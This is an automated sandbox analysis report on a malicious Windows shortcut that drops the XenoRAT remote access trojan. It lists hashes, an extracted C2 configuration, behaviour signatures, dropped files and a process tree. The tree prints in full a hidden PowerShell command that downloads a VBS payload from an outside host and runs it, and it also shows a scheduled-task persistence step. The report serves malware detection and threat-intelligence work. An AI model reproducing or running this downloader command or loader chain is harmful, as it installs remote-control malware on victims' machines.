Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-12-2024 05:45

General

  • Target

    TRANSFERENCIA COMPROBANTES.lnk

  • Size

    2KB

  • MD5

    e03e7eeb288c1f96bb336fe0bfa4cb95

  • SHA1

    e2a53c23480aad659723ee5c8542105955787ac1

  • SHA256

    a43b59c54921c6b5cc272e0af9917b5973231de9b6d183be381c1820416ce49f

  • SHA512

    c142377b9ad169f06e62836c4152b916bfff5b4d64487005fcca5dc2d213a9aeaa5a8d6d2fcfbbbbc13b6016aaf9c4ff0b108cff3af98d28cc85d1502478ce2a

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs

Extracted

Family

xenorat

C2

dns.stipamana.com

Mutex

Xeno_rat_nd8912d

Attributes
  • delay

    12000

  • install_path

    appdata

  • port

    4567

  • startup_name

    mrec

Signatures

  • Detect XenoRat Payload 1 IoCs
  • XenorRat

    XenorRat is a remote access trojan written in C#.

  • Xenorat family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Office macro that triggers on suspicious action 1 IoCs

    Office document macro which triggers in special circumstances - often malicious.

  • Suspicious Office macro 1 IoCs

    Office document equipped with macros.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\TRANSFERENCIA COMPROBANTES.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3472
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass zhdfboopntjfmdjtgfdjqbinrdfgfdho -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1132
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"
        3⤵
        • Blocklisted process makes network request
        PID:512
  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2752
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4308
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1548
        • C:\Windows\SysWOW64\schtasks.exe
          "schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmpD820.tmp" /F
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:2124
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1728
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4832
        • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
          "C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3436
          • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2384
          • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2756
          • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2988

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GFKMTE.exe.log

    Filesize

    706B

    MD5

    d95c58e609838928f0f49837cab7dfd2

    SHA1

    55e7139a1e3899195b92ed8771d1ca2c7d53c916

    SHA256

    0407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339

    SHA512

    405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d

  • C:\Users\Admin\AppData\Local\Temp\TCDE7B2.tmp\iso690.xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_onglfgm5.ovh.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs

    Filesize

    10KB

    MD5

    087bcef76143b81090deef4ee4679995

    SHA1

    6ebd4fd212d0583157ae03bb0eb5841c53e281fc

    SHA256

    87334eb3f39cffdfeed453f67a7c338fe378b75c49946451ca1a0e4e151bba00

    SHA512

    b2f93705760d4d1cf5fe0ac354100916d16b6c4fd62117254238a600aabe6257fc791f1ce498bd2d0cfdd47e19f304dc5a68a06b7958658f34859afaa582ed4d

  • C:\Users\Admin\AppData\Local\Temp\tmpD820.tmp

    Filesize

    1KB

    MD5

    dabe93a03c5560ab1670cf79b8d28566

    SHA1

    69738fe43d4550ece028ff2795a54bbad0985414

    SHA256

    743e8b28a38e98ea27ef07f17b7529976979c7b01eab92586a6cb686c0d1f68d

    SHA512

    15b3b49c46901e00a73def834225df28fd843af1e9ae594c7d061406209f6ce57277673c9c1ae3ed541f989fa499fd3e88929e00ebded6d23301f8d3680a6c57

  • C:\Users\Admin\AppData\Local\Temp\¸¸.doc

    Filesize

    195KB

    MD5

    7ea9da3dd3db6f3fadf04ac76b54434b

    SHA1

    b30b950191046d999e71aaa54fb2648c6655ce9b

    SHA256

    947bce97211371e730a2b8b79c2ec4d154904e8faa7bed2583c5c6c420230170

    SHA512

    f94eb382dedb8c3952dbc0f3b9040201455cec641c845bedf5765a2772aa98cb20d92b3e0edadcd92fd7cdb77e7c6f37d26bdd276cceea733237e28f04240f9d

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

    Filesize

    16B

    MD5

    d29962abc88624befc0135579ae485ec

    SHA1

    e40a6458296ec6a2427bcb280572d023a9862b31

    SHA256

    a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

    SHA512

    4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe

    Filesize

    173KB

    MD5

    94a7e3859c2e4238421cdfe73d49603c

    SHA1

    03f03c5b5d8cf362aa52b9e793e7be398d779c21

    SHA256

    639135eb69333aba7ecb762072d8bef1d2db83e54edbe627dd223039142b8c91

    SHA512

    74048463606f7017bd8bd3c92773edde5a406247c5ea437b8ee580a3d9e65eb755aa44de466fc2aabef8b9a67c40163afeb3df9bc9fb35f8afe20814d5de85b5

  • memory/1132-13-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

    Filesize

    10.8MB

  • memory/1132-2-0x00007FFC5A983000-0x00007FFC5A985000-memory.dmp

    Filesize

    8KB

  • memory/1132-21-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

    Filesize

    10.8MB

  • memory/1132-14-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

    Filesize

    10.8MB

  • memory/1132-8-0x000002A634F00000-0x000002A634F22000-memory.dmp

    Filesize

    136KB

  • memory/1548-103-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/2752-24-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

    Filesize

    64KB

  • memory/2752-28-0x00007FFC369B0000-0x00007FFC369C0000-memory.dmp

    Filesize

    64KB

  • memory/2752-25-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

    Filesize

    64KB

  • memory/2752-23-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

    Filesize

    64KB

  • memory/2752-29-0x00007FFC369B0000-0x00007FFC369C0000-memory.dmp

    Filesize

    64KB

  • memory/2752-27-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

    Filesize

    64KB

  • memory/2752-26-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

    Filesize

    64KB

  • memory/4308-98-0x0000000005000000-0x0000000005034000-memory.dmp

    Filesize

    208KB

  • memory/4308-102-0x00000000049B0000-0x00000000049B6000-memory.dmp

    Filesize

    24KB

  • memory/4308-101-0x000000000DA90000-0x000000000DB22000-memory.dmp

    Filesize

    584KB

  • memory/4308-100-0x000000000DFA0000-0x000000000E544000-memory.dmp

    Filesize

    5.6MB

  • memory/4308-99-0x000000000D950000-0x000000000D9EC000-memory.dmp

    Filesize

    624KB

  • memory/4308-97-0x0000000004FF0000-0x0000000004FF6000-memory.dmp

    Filesize

    24KB

  • memory/4308-96-0x00000000005A0000-0x00000000005D0000-memory.dmp

    Filesize

    192KB